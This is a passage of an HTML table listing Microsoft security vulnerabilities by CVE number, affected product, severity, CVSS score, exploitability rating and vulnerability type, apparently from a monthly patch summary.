  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
